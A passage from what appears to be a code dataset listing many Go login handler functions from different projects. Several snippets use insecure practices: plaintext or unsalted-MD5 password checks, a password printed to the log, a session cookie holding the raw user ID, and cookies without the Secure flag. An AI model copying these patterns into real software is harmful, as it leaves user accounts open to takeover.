password required\\n\", http.StatusBadRequest)\r\n\t\treturn\r\n\t}\r\n\r\n\t// Already authorized\r\n\tif savedPass, OK := Auth[login]; OK && savedPass == pass {\r\n\t\twriteResponse(w, \"You are already authorized\\n\", http.StatusOK)\r\n\t\treturn\r\n\t} else if OK && savedPass != pass {\r\n\t\t// it is not neccessary\r\n\t\twriteResponse(w, \"Wrong pass\\n\", http.StatusBadRequest)\r\n\t\treturn\r\n\t}\r\n\r\n\tuser := model.User{}\r\n\terr := user.Get(login, pass)\r\n\tif err == nil {\r\n\t\tAuth[login], Work[login] = pass, user.WorkNumber\r\n\t\twriteResponse(w, \"Succesfull authorization\\n\", http.StatusOK)\r\n\t\treturn\r\n\t}\r\n\r\n\twriteResponse(w, \"User with same login not found\\n\", http.StatusNotFound)\r\n}", "func (h *Handler) Login(w http.ResponseWriter, r *http.Request) {\n\tvar d UserLoginRequest\n\tif err := json.NewDecoder(r.Body).Decode(&d); err != nil {\n\t\trender.BadRequest(w, r, \"invalid json string\")\n\t\treturn\n\t}\n\n\t//Check if email exists\n\tuser, err := h.Client.User.\n\t\tQuery().\n\t\tWhere(usr.Email(d.Email)).\n\t\tOnly(r.Context())\n\tif err != nil {\n\t\tswitch {\n\t\tcase ent.IsNotFound(err):\n\t\t\trender.NotFound(w, r, \"Email Doesn't exists\")\n\t\tcase ent.IsNotSingular(err):\n\t\t\trender.BadRequest(w, r, \"Invalid Email\")\n\t\tdefault:\n\t\t\trender.InternalServerError(w, r, \"Server Error\")\n\t\t}\n\t\treturn\n\t}\n\n\t// Verify the password\n\tif user.Password == d.Password {\n\t\tfmt.Println(\"User Verified. Log In Successful\")\n\t\trender.OK(w, r, user)\n\t\treturn\n\t}\n\trender.Unauthorized(w, r, \"Invalid Email or Password.\")\n}", "func LoginRoute(res http.ResponseWriter, req *http.Request) {\n if req.Method == \"GET\" {\n res.Write([]byte(`\n <html>\n <head>\n <title> Login </title>\n </head>\n <body>\n <h1> Login </h1>\n <form action = \"/login\" method = \"post\">\n Username:<br>\n <input type=\"text\" name=\"Username\"><br>\n Password:<br>\n <input type = \"password\" name = \"Password\">\n <input type = \"submit\" value = \"Login\">\n </form>\n </body>\n </html>\n `))\n } else {\n req.ParseForm()\n username := req.FormValue(\"Username\")\n password := req.FormValue(\"Password\")\n\n uid, err := CheckUser(username, password)\n if err == nil {\n\n session := http.Cookie{\n Name: \"session\",\n Value: strconv.Itoa(uid),\n\n //MaxAge: 10 * 60,\n Secure: false,\n HttpOnly: true,\n SameSite: 1,\n\n Path: \"/\",\n }\n http.SetCookie(res, &session)\n Redirect(\"/library\", res)\n } else {\n res.Write([]byte(err.Error()))\n }\n }\n}", "func (a *App) Login(w http.ResponseWriter, r *http.Request) {\n\tvar resp = map[string]interface{}{\"status\": \"success\", \"message\": \"logged in\"}\n\n\tuser := &models.User{}\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(body, &user)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tuser.Prepare() // here strip the text of white spaces\n\n\terr = user.Validate(\"login\") // fields(email, password) are validated\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tusr, err := user.GetUser(a.DB)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tif usr == nil { // user is not registered\n\t\tresp[\"status\"] = \"failed\"\n\t\tresp[\"message\"] = \"Login failed, please signup\"\n\t\tresponses.JSON(w, http.StatusBadRequest, resp)\n\t\treturn\n\t}\n\n\terr = models.CheckPasswordHash(user.Password, usr.Password)\n\tif err != nil {\n\t\tresp[\"status\"] = \"failed\"\n\t\tresp[\"message\"] = \"Login failed, please try again\"\n\t\tresponses.JSON(w, http.StatusForbidden, resp)\n\t\treturn\n\t}\n\ttoken, err := utils.EncodeAuthToken(usr.ID)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tresp[\"token\"] = token\n\tresponses.JSON(w, http.StatusOK, resp)\n\treturn\n}", "func Login(c *gin.Context) {\n\tusername := c.PostForm(\"username\")\n\tpassword := c.PostForm(\"password\")\n\temail := c.PostForm(\"email\")\n\t//check if provided user credentials are valid or not\n\tif store.ValidUser(username, password, email) {\n\t\ttoken := generateSessionToken()\n\t\tc.SetCookie(\"token\", token, 3600, \"\", \"\", false, true)\n\t\tc.Set(\"is_logged_in\", true)\n\t\trender(c, gin.H{\n\t\t\t\"title\": \"Successful Login\"}, \"login-successful.html\")\n\t} else {\n\t\tc.HTML(http.StatusBadRequest, \"login.html\", gin.H{\n\t\t\t\"ErrorTitle\": \"Login Failed\",\n\t\t\t\"ErrorMessage\": \"Invalid credentials provided\"})\n\t}\n}", "func (a *Auth) Login(w http.ResponseWriter, r *http.Request, data *UserCred) {\n\tvar user, email, code string\n\n\tif user = a.userstate.Username(r); user != \"\" {\n\t\tif sid, ok := cookie.SecureCookie(\n\t\t\tr,\n\t\t\tsessionIDKey,\n\t\t\ta.userstate.CookieSecret(),\n\t\t); ok {\n\t\t\tif a.userstate.CorrectPassword(user, sid) {\n\t\t\t\ta.Session(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\ttiming := servertiming.FromContext(r.Context())\n\tm := timing.NewMetric(\"grpc\").WithDesc(\"PKI signature validation\").Start()\n\tconn, err := pb.New(r.Context(), a.addr)\n\tif err != nil {\n\t\tutil.BadRequest(w, r, err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\tclient := pb.NewMetropolisServiceClient(conn)\n\tresp, err := client.VerifySignature(\n\t\tr.Context(),\n\t\t&pb.VerRequest{\n\t\t\tSignedXml: data.SignedXML,\n\t\t\tFlag: pb.VerFlag_AUTH,\n\t\t},\n\t)\n\tm.Stop()\n\n\tif resp.Status != pb.VerStatus_SUCCESS {\n\t\terr := errors.New(resp.Message)\n\t\tutil.BadRequestWith(w, r, err, resp.Description)\n\t\treturn\n\t}\n\n\tuser = resp.Message\n\temail = data.EmailAddress\n\n\tok, err := a.userstate.HasUser2(user)\n\tif err != nil {\n\t\tutil.BadRequest(w, r, err)\n\t\treturn\n\t}\n\tif ok {\n\t\ta.userstate.RemoveUser(user)\n\t}\n\n\tcode, err = a.userstate.GenerateUniqueConfirmationCode()\n\tif err != nil {\n\t\tutil.BadRequest(w, r, err)\n\t\treturn\n\t}\n\n\ta.userstate.AddUser(user, code, email)\n\tcookie.SetSecureCookiePathWithFlags(\n\t\tw,\n\t\tsessionIDKey,\n\t\tcode,\n\t\ta.userstate.CookieTimeout(user),\n\t\t\"/\",\n\t\ta.userstate.CookieSecret(),\n\t\tfalse,\n\t\ttrue,\n\t)\n\n\ta.userstate.Login(w, user)\n\tutil.OK(w, r)\n}", "func Login(username, password string) error {\n\terr := validateCredentials(username, password)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsession := getSession(username, password)\n\tif session == nil {\n\t\tfmt.Println(\"Unable to get session\")\n\t\treturn errors.New(\"Unable to get session\")\n\t}\n\tfmt.Println(session)\n\n\tuser := models.User{Username: username, Session: session}\n\terr = models.SaveUser(user)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func login(c *gin.Context) {\n\tvar loginDetails LoginDetails\n\tvar err error\n\n\t// Get query params into object\n\tif err = c.ShouldBind(&loginDetails); err != nil {\n\t\tprintln(err.Error())\n\t\tc.Status(http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tvar passwordHash string\n\tvar id int\n\tsqlStatement := `SELECT id, password_hash FROM player WHERE email=LOWER($1) LIMIT 1;`\n\terr = db.QueryRow(sqlStatement, loginDetails.Email).Scan(&id, &passwordHash)\n\tif handleError(err, c) {\n\t\treturn\n\t}\n\n\tif bcrypt.CompareHashAndPassword([]byte(passwordHash), []byte(loginDetails.Password)) != nil {\n\t\tprintln(\"Incorrect password\")\n\n\t\tc.AbortWithStatus(http.StatusNotFound)\n\t\treturn\n\t}\n\n\ttoken, err := CreateTokenInDB(id)\n\tif err != nil {\n\t\tprintln(err.Error())\n\t\tc.AbortWithStatus(http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Return token and user id\n\tretObj := PlayerToken{PlayerId: id, Token: token}\n\n\tc.JSON(http.StatusOK, retObj)\n}", "func checkLogin(c appengine.Context, rw http.ResponseWriter, req *http.Request) *user.User {\n\tu := user.Current(c)\n\tif u == nil {\n\t\turl, err := user.LoginURL(c, req.URL.String())\n\t\tif err != nil {\n\t\t\thttp.Error(rw, err.Error(), http.StatusInternalServerError)\n\t\t\treturn nil\n\t\t}\n\t\trw.Header().Set(\"Location\", url)\n\t\trw.WriteHeader(http.StatusFound)\n\t\treturn nil\n\t}\n\treturn u\n}", "func Login(c *gin.Context) {\n\tphone := c.PostForm(\"phone\")\n\tpassword := c.PostForm(\"password\")\n\n\t//find user\n\tusers, err := userModel.GetUsersByStrKey(\"phone\", phone)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"msg\": err.Error(),\n\t\t})\n\t\tlog.ErrorLog.Println(err)\n\t\tc.Error(err)\n\t\treturn\n\t}\n\n\t// if user is unregistered\n\tif len(users) == 0 {\n\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"msg\": \"phone is unregistered\",\n\t\t})\n\t\tlog.ErrorLog.Println(\"phone is unregistered\")\n\t\tc.Error(errors.New(\"phone is unregistered\"))\n\t\treturn\n\t}\n\n\tuser := users[0]\n\t// encrypt password with MD5\n\tpassword = util.MD5(password)\n\t// if password error\n\tif password != user.Password {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"msg\": \"phone or password is incorrect\",\n\t\t})\n\t\tlog.ErrorLog.Println(\"phone or password is incorrect\")\n\t\tc.Error(errors.New(\"phone or password is incorrect\"))\n\t\treturn\n\t}\n\n\tsession := sessions.Default(c)\n\tsession.Set(\"userId\", user.Id)\n\terr = session.Save()\n\tif err != nil {\n\t\tlog.ErrorLog.Println(err)\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"msg\": \"fail to generate session token\",\n\t\t})\n\t\tlog.ErrorLog.Println(\"fail to generate session token\")\n\t\tc.Error(errors.New(\"fail to generate session token\"))\n\t} else {\n\t\tuserJson, err := util.StructToJsonStr(user)\n\t\tif err != nil {\n\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\t\"msg\": err.Error(),\n\t\t\t})\n\t\t\tlog.ErrorLog.Println(err)\n\t\t\tc.Error(err)\n\t\t\treturn\n\t\t}\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": \"successfully login\",\n\t\t\t\"user\": userJson,\n\t\t})\n\t\tlog.InfoLog.Println(\"successfully login\")\n\t}\n}", "func (uc UserController) Login(w http.ResponseWriter, r *http.Request) {\n\tif user := users.GetLoggedInUser(r); user != nil {\n\t\thttp.Redirect(w, r, \"/\", http.StatusOK)\n\t\treturn\n\t}\n\n\temail, pass := r.FormValue(\"email\"), r.FormValue(\"password\")\n\tuser := users.CheckLoginInformation(email, pass)\n\n\tif user == nil {\n\t\thttp.Error(w, \"Incorrect username and password combination\", http.StatusUnauthorized)\n\t} else {\n\t\tusers.LoginUser(w, r, user)\n\t\thttp.Redirect(w, r, \"/\", http.StatusOK)\n\t}\n}", "func (ctrl LoginController) ProcessLogin(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tsession, _ := store.Get(r, \"session-id\")\n\tusername := r.PostFormValue(\"username\")\n\tpassword := r.PostFormValue(\"password\")\n\n\tuser, _ := model.GetUserByUserName(username)\n\tv := new(Validator)\n\n\tif !v.ValidateUsername(username) {\n\t\tSessionFlash(v.err, w, r)\n\t\thttp.Redirect(w, r, URL_LOGIN, http.StatusMovedPermanently)\n\t\treturn\n\t}\n\n\tif user.Username == \"\" || !CheckPasswordHash(password, user.Password) {\n\t\tSessionFlash(messages.Error_username_or_password, w, r)\n\t\thttp.Redirect(w, r, URL_LOGIN, http.StatusMovedPermanently)\n\t\treturn\n\t}\n\n\tsession.Values[\"username\"] = user.Username\n\tsession.Values[\"id\"] = user.ID\n\tsession.Save(r, w)\n\thttp.Redirect(w, r, URL_HOME, http.StatusMovedPermanently)\n}", "func login(res http.ResponseWriter, req *http.Request, p httprouter.Params) {\n\tvar data map[string]string\n\n\tresp, err := getBody(req)\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": \"Server Error\"})\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(resp, &data)\n\tif err != nil {\n\t\tlog.Panicln(\"login:\", err)\n\t}\n\n\tusername := data[\"username\"]\n\tpassword := data[\"password\"]\n\tuser, err := getUser(username)\n\tif err != nil {\n\t\twriteJSON(res, 401, jsMap{\"status\": \"Authentication Failed\"})\n\t\treturn\n\t}\n\n\tsessID, err := authenticateUser(user, username, password)\n\tif err != nil {\n\t\tlog.Println(\"login:\", err)\n\t\twriteJSON(res, 401, jsMap{\"status\": \"Authentication Failed\"})\n\t\treturn\n\t}\n\n\tresponse := jsMap{\n\t\t\"status\": \"OK\",\n\t\t\"sessionID\": hex.EncodeToString(sessID),\n\t\t\"address\": user.Address,\n\t}\n\n\twriteJSON(res, 200, response)\n}", "func (as *AdminServer) Login(w http.ResponseWriter, r *http.Request) {\n\tparams := struct {\n\t\tUser models.User\n\t\tTitle string\n\t\tFlashes []interface{}\n\t\tToken string\n\t}{Title: \"Login\", Token: csrf.Token(r)}\n\tsession := ctx.Get(r, \"session\").(*sessions.Session)\n\tswitch {\n\tcase r.Method == \"GET\":\n\t\tparams.Flashes = session.Flashes()\n\t\tsession.Save(r, w)\n\t\ttemplates := template.New(\"template\")\n\t\t_, err := templates.ParseFiles(\"templates/login.html\", \"templates/flashes.html\")\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t\ttemplate.Must(templates, err).ExecuteTemplate(w, \"base\", params)\n\tcase r.Method == \"POST\":\n\t\t// Find the user with the provided username\n\t\tusername, password := r.FormValue(\"username\"), r.FormValue(\"password\")\n\t\tu, err := models.GetUserByUsername(username)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\tas.handleInvalidLogin(w, r, \"Invalid Username/Password\")\n\t\t\treturn\n\t\t}\n\t\t// Validate the user's password\n\t\terr = auth.ValidatePassword(password, u.Hash)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\tas.handleInvalidLogin(w, r, \"Invalid Username/Password\")\n\t\t\treturn\n\t\t}\n\t\tif u.AccountLocked {\n\t\t\tas.handleInvalidLogin(w, r, \"Account Locked\")\n\t\t\treturn\n\t\t}\n\t\tu.LastLogin = time.Now().UTC()\n\t\terr = models.PutUser(&u)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t\t// If we've logged in, save the session and redirect to the dashboard\n\t\tsession.Values[\"id\"] = u.Id\n\t\tsession.Save(r, w)\n\t\tas.nextOrIndex(w, r)\n\t}\n}", "func ValidateLogin(\n\tdb *gorm.DB,\n\tusername string,\n\tpassword string,\n) (TblUser, error) {\n\tvar ret TblUser\n\n\t// hash password\n\n\terr := db.\n\t\tWhere(\"Username = ?\", username).\n\t\tWhere(\"Password = ?\", password).\n\t\tFind(&ret).\n\t\tError\n\n\treturn ret, err\n}", "func LoginUser(c *gin.Context) {\n\tvar json db.UserLoginForm\n\tsession := sessions.Default(c)\n\tif errs := c.ShouldBind(&json); errs != nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"msg\": \"Form doesn't bind.\",\n\t\t\t\"err\": errs.Error(),\n\t\t})\n\t\treturn\n\t}\n\tvar user db.Users\n\tif err := db.DB.Where(\"username = ? AND is_active = TRUE\", json.Username).\n\t\tFirst(&user).Error; err != nil {\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": \"User not found in database.\",\n\t\t\t\"err\": err,\n\t\t})\n\t\treturn\n\t}\n\tif checkPasswordHash(json.Password, user.Password) {\n\t\tsession.Clear()\n\t\tsession.Set(\"userID\", user.ID)\n\t\tsession.Set(\"username\", user.Username)\n\t\tsession.Options(sessions.Options{\n\t\t\tMaxAge: 3600 * 12,\n\t\t\tPath: \"/\",\n\t\t})\n\t\terr := session.Save()\n\t\tif err != nil {\n\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\t\"msg\": \"Failed to generate session token\",\n\t\t\t\t\"err\": err,\n\t\t\t})\n\t\t} else {\n\t\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\t\"msg\": user.Username,\n\t\t\t\t\"err\": \"\",\n\t\t\t})\n\t\t}\n\t} else {\n\t\tc.JSON(http.StatusUnauthorized, gin.H{\n\t\t\t\"msg\": fmt.Sprintf(\"Check password hash failed for user %s\", user.Username),\n\t\t\t\"err\": user.Username,\n\t\t})\n\t}\n}", "func validLogin(username string, password string) (bool, uint) {\n\tuser, err := GetUserFromUsername(username)\n\tif err != nil {\n\t\tfmt.Println(\"Login user query failed with error\", err.Error())\n\t\treturn false, 0\n\t}\n\tfmt.Printf(\n\t\t\"Login user query succeeded, comparing DB password %s to login password %s\\n\",\n\t\tuser.PasswordHash,\n\t\tpassword,\n\t)\n\tif core.PasswordEqualsHashed(password, user.PasswordHash) {\n\t\treturn true, user.ID\n\t}\n\treturn false, 0\n}", "func Login(c *gin.Context) {\n\tvar customerForm models.CustomerForm\n\tif err := c.ShouldBindJSON(&customerForm); err != nil {\n\t\tc.JSON(http.StatusBadRequest, \"Incorrect user informations\")\n\t\treturn\n\t}\n\n\t// Try to find user with this address\n\tcustomer := models.Customer{\n\t\tEmail: customerForm.Email,\n\t}\n\tif err := repositories.FindCustomerByEmail(&customer); err != nil {\n\t\tc.JSON(http.StatusUnauthorized, \"incorrect email or password.\")\n\t\treturn\n\t}\n\n\t// Verify password\n\thashedPwd := services.HashPassword(customerForm.Password)\n\tif hashedPwd != customer.HashedPassword {\n\t\tc.JSON(http.StatusUnauthorized, \"incorrect email or password.\")\n\t\treturn\n\t}\n\n\t// Generate connection token\n\ttoken, err := services.GenerateToken(customer.Email)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, \"Couldn't create your authorization\")\n\t\treturn\n\t}\n\tvalidTime, _ := strconv.ParseInt(config.GoDotEnvVariable(\"TOKEN_VALID_DURATION\"), 10, 64)\n\n\tc.SetCookie(\"token\", token, 60*int(validTime), \"/\", config.GoDotEnvVariable(\"DOMAIN\"), false, false)\n\tc.JSON(http.StatusOK, \"Logged in successfully\")\n}", "func requireLogin(c *fiber.Ctx) error {\n\tcurrSession, err := sessionStore.Get(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\tuser := currSession.Get(\"User\")\n\tdefer currSession.Save()\n\n\tif user == nil {\n\t\t// This request is from a user that is not logged in.\n\t\t// Send them to the login page.\n\t\treturn c.Redirect(\"/login\")\n\t}\n\n\t// If we got this far, the request is from a logged-in user.\n\t// Continue on to other middleware or routes.\n\treturn c.Next()\n}", "func gwLogin(c *gin.Context) {\n\ts := getHostServer(c)\n\treqId := getRequestId(s, c)\n\tvar err error\n\tvar hasCheckPass = false\n\tvar checker = s.AuthParamChecker\n\tvar authParam AuthParameter\n\tfor _, resolver := range s.AuthParamResolvers {\n\t\tauthParam = resolver.Resolve(c)\n\t\tif err = checker.Check(authParam); err == nil {\n\t\t\thasCheckPass = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !hasCheckPass {\n\t\tc.JSON(http.StatusBadRequest, s.RespBodyBuildFunc(http.StatusBadRequest, reqId, err, nil))\n\t\tc.Abort()\n\t\treturn\n\t}\n\n\t// Login\n\tuser, err := s.AuthManager.Login(authParam)\n\tif err != nil || user.IsEmpty() {\n\t\tc.JSON(http.StatusNotFound, s.RespBodyBuildFunc(http.StatusNotFound, reqId, err.Error(), nil))\n\t\tc.Abort()\n\t\treturn\n\t}\n\tsid, credential, ok := encryptSid(s, authParam)\n\tif !ok {\n\t\tc.JSON(http.StatusInternalServerError, s.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \"Create session ID fail.\", nil))\n\t\tc.Abort()\n\t\treturn\n\t}\n\tif err := s.SessionStateManager.Save(sid, user); err != nil {\n\t\tc.JSON(http.StatusInternalServerError, s.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \"Save session fail.\", err.Error()))\n\t\tc.Abort()\n\t\treturn\n\t}\n\tvar userPerms []gin.H\n\tfor _, p := range user.Permissions {\n\t\tuserPerms = append(userPerms, gin.H{\n\t\t\t\"Key\": p.Key,\n\t\t\t\"Name\": p.Name,\n\t\t\t\"Desc\": p.Descriptor,\n\t\t})\n\t}\n\tcks := s.conf.Security.Auth.Cookie\n\texpiredAt := time.Duration(cks.MaxAge) * time.Second\n\tvar userRoles = gin.H{\n\t\t\"Id\": 0,\n\t\t\"name\": \"\",\n\t\t\"desc\": \"\",\n\t}\n\tpayload := gin.H{\n\t\t\"Credentials\": gin.H{\n\t\t\t\"Token\": credential,\n\t\t\t\"ExpiredAt\": time.Now().Add(expiredAt).Unix(),\n\t\t},\n\t\t\"Roles\": userRoles,\n\t\t\"Permissions\": userPerms,\n\t}\n\tbody := s.RespBodyBuildFunc(0, reqId, nil, payload)\n\tc.SetCookie(cks.Key, credential, cks.MaxAge, cks.Path, cks.Domain, cks.Secure, cks.HttpOnly)\n\tc.JSON(http.StatusOK, body)\n}", "func Login(w http.ResponseWriter, r *http.Request, username string) error {\n\tsession, err := loggedUserSession.New(r, \"authenticated-user-session\")\n\tsession.Values[\"username\"] = username\n\tif err == nil {\n\t\terr = session.Save(r, w)\n\t}\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn errors.New(\"Error creating session\")\n\t}\n\treturn err\n}", "func Login(w http.ResponseWriter, r *http.Request) {\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tuser := models.User{}\n\terr = json.Unmarshal(body, &user)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tuser.Prepare()\n\terr = user.Validate(\"login\")\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\ttoken, err := auth.SignIn(user.Email, user.Password)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tresponses.JSON(w, http.StatusOK, token)\n}", "func (user *UService) Login(loginuser *model.User) *model.User {\n\tvar validuser model.User\n\tuser.DB.Debug().Where(\"username = ? and password = ?\", loginuser.Username, loginuser.Password).Find(&validuser)\n\tif validuser != (model.User{}) {\n\t\treturn &validuser\n\t}\n\treturn nil\n}", "func Login(w http.ResponseWriter, r *http.Request) {\n\tstore, err := pgstore.NewPGStore(os.Getenv(\"PGURL\"), key)\n\tcheck(err)\n\tdefer store.Close()\n\tsession, err := store.Get(r, \"scheduler-session\")\n\tcheck(err)\n\n\tvar domain string\n\tif os.Getenv(\"GO_ENV\") == \"dev\" {\n\t\tdomain = \"http://localhost:3000\"\n\t} else if os.Getenv(\"GO_ENV\") == \"test\" {\n\t\tdomain = \"http://s3-sih-test.s3-website-us-west-1.amazonaws.com\"\n\t} else if os.Getenv(\"GO_ENV\") == \"prod\" {\n\t\tdomain = \"https://schedulingishard.com\"\n\t}\n\t// Limit the sessions to 1 24-hour day\n\tsession.Options.MaxAge = 86400 * 1\n\tsession.Options.Domain = domain // Set to localhost for testing only. prod must be set to \"schedulingishard.com\"\n\tsession.Options.HttpOnly = true\n\n\tcreds := DecodeCredentials(r)\n\t// Authenticate based on incoming http request\n\tif passwordsMatch(r, creds) != true {\n\t\tlog.Printf(\"Bad password for member: %v\", creds.Email)\n\t\tmsg := errorMessage{\n\t\t\tStatus: \"Failed to authenticate\",\n\t\t\tMessage: \"Incorrect username or password\",\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t//http.Error(w, \"Incorrect username or password\", http.StatusUnauthorized)\n\t\tjson.NewEncoder(w).Encode(msg)\n\t\treturn\n\t}\n\t// Get the memberID based on the supplied email\n\tmemberID := models.GetMemberID(creds.Email)\n\tmemberName := models.GetMemberName(memberID)\n\tm := memberDetails{\n\t\tStatus: \"OK\",\n\t\tID: memberID,\n\t\tName: memberName,\n\t\tEmail: creds.Email,\n\t}\n\n\t// Respond with the proper content type and the memberID\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Header().Set(\"X-CSRF-Token\", csrf.Token(r))\n\t// Set cookie values and save\n\tsession.Values[\"authenticated\"] = true\n\tsession.Values[\"memberID\"] = m.ID\n\tif err = session.Save(r, w); err != nil {\n\t\tlog.Printf(\"Error saving session: %v\", err)\n\t}\n\tjson.NewEncoder(w).Encode(m)\n\t// w.Write([]byte(memberID)) // Alternative to fprintf\n}", "func LoginHandler(w http.ResponseWriter, r *http.Request) {\n\t// Initialize the fields that we need in the custom struct.\n\ttype Context struct {\n\t\tErr string\n\t\tErrExists bool\n\t\tOTPRequired bool\n\t\tUsername string\n\t\tPassword string\n\t}\n\t// Call the Context struct.\n\tc := Context{}\n\n\t// If the request method is POST\n\tif r.Method == \"POST\" {\n\t\t// This is a login request from the user.\n\t\tusername := r.PostFormValue(\"username\")\n\t\tusername = strings.TrimSpace(strings.ToLower(username))\n\t\tpassword := r.PostFormValue(\"password\")\n\t\totp := r.PostFormValue(\"otp\")\n\n\t\t// Login2FA login using username, password and otp for users with OTPRequired = true.\n\t\tsession := uadmin.Login2FA(r, username, password, otp)\n\n\t\t// Check whether the session returned is nil or the user is not active.\n\t\tif session == nil || !session.User.Active {\n\t\t\t/* Assign the login validation here that will be used for UI displaying. ErrExists and\n\t\t\tErr fields are coming from the Context struct. */\n\t\t\tc.ErrExists = true\n\t\t\tc.Err = \"Invalid username/password or inactive user\"\n\n\t\t} else {\n\t\t\t// If the user has OTPRequired enabled, it will print the username and OTP in the terminal.\n\t\t\tif session.PendingOTP {\n\t\t\t\tuadmin.Trail(uadmin.INFO, \"User: %s OTP: %s\", session.User.Username, session.User.GetOTP())\n\t\t\t}\n\n\t\t\t/* As long as the username and password is valid, it will create a session cookie in the\n\t\t\tbrowser. */\n\t\t\tcookie, _ := r.Cookie(\"session\")\n\t\t\tif cookie == nil {\n\t\t\t\tcookie = &http.Cookie{}\n\t\t\t}\n\t\t\tcookie.Name = \"session\"\n\t\t\tcookie.Value = session.Key\n\t\t\tcookie.Path = \"/\"\n\t\t\tcookie.SameSite = http.SameSiteStrictMode\n\t\t\thttp.SetCookie(w, cookie)\n\n\t\t\t// Check for OTP\n\t\t\tif session.PendingOTP {\n\t\t\t\t/* After the user enters a valid username and password in the first part of the form, these\n\t\t\t\tvalues will be used on the second part in the UI where the OTP input field will be\n\t\t\t\tdisplayed afterwards. */\n\t\t\t\tc.Username = username\n\t\t\t\tc.Password = password\n\t\t\t\tc.OTPRequired = true\n\n\t\t\t} else {\n\t\t\t\t// If the next value is empty, redirect the page that omits the logout keyword in the last part.\n\t\t\t\tif r.URL.Query().Get(\"next\") == \"\" {\n\t\t\t\t\thttp.Redirect(w, r, strings.TrimSuffix(r.RequestURI, \"logout\"), http.StatusSeeOther)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Redirect to the page depending on the value of the next.\n\t\t\t\thttp.Redirect(w, r, r.URL.Query().Get(\"next\"), http.StatusSeeOther)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\t// Render the login filepath and pass the context data object to the HTML file.\n\tuadmin.RenderHTML(w, r, \"templates/login.html\", c)\n}", "func (h *auth) Login(c echo.Context) error {\n\t// Filter params\n\tvar params service.LoginParams\n\tif err := c.Bind(&params); err != nil {\n\t\tlog.Println(\"Could not get parameters:\", err)\n\t\treturn c.JSON(http.StatusBadRequest, sferror.New(\"Could not get credentials.\"))\n\t}\n\tparams.UserAgent = c.Request().UserAgent()\n\tparams.Session = currentSession(c)\n\n\tif params.Email == \"\" || params.Password == \"\" {\n\t\treturn c.JSON(http.StatusBadRequest, sferror.New(\"No email or password provided.\"))\n\t}\n\n\treturn h.login(c, params)\n\n}", "func (cc *CommonController) Login() {\n\tprincipal := cc.GetString(\"principal\")\n\tpassword := cc.GetString(\"password\")\n\n\tuser, err := auth.Login(models.AuthModel{\n\t\tPrincipal: principal,\n\t\tPassword: password,\n\t})\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred in UserLogin: %v\", err)\n\t\tcc.CustomAbort(http.StatusUnauthorized, \"\")\n\t}\n\n\tif user == nil {\n\t\tcc.CustomAbort(http.StatusUnauthorized, \"\")\n\t}\n\n\tcc.SetSession(\"userId\", user.UserID)\n\tcc.SetSession(\"username\", user.Username)\n}", "func (a Admin) Login(user,passwd string) (error, bool) {\n if user == a.Name && passwd == a.Pass {\n return nil, true\n } else {\n return errors.New(\"Wrong login or password\"), false\n }\n}", "func UserLogin(w http.ResponseWriter, r *http.Request) {\n\t// 1. 解析body数据\n\tuser := User{}\n\tok := utils.LoadRequestBody(r, \"user login\", &user)\n\tif !ok {\n\t\tutils.FailureResponse(&w, \"登录失败\", \"\")\n\t}\n\t// 2. 从db中取出用户信息\n\texistedUser := User{}\n\terr := Db[\"users\"].Find(bson.M{\"name\": user.Name}).One(&existedUser)\n\tif err != nil 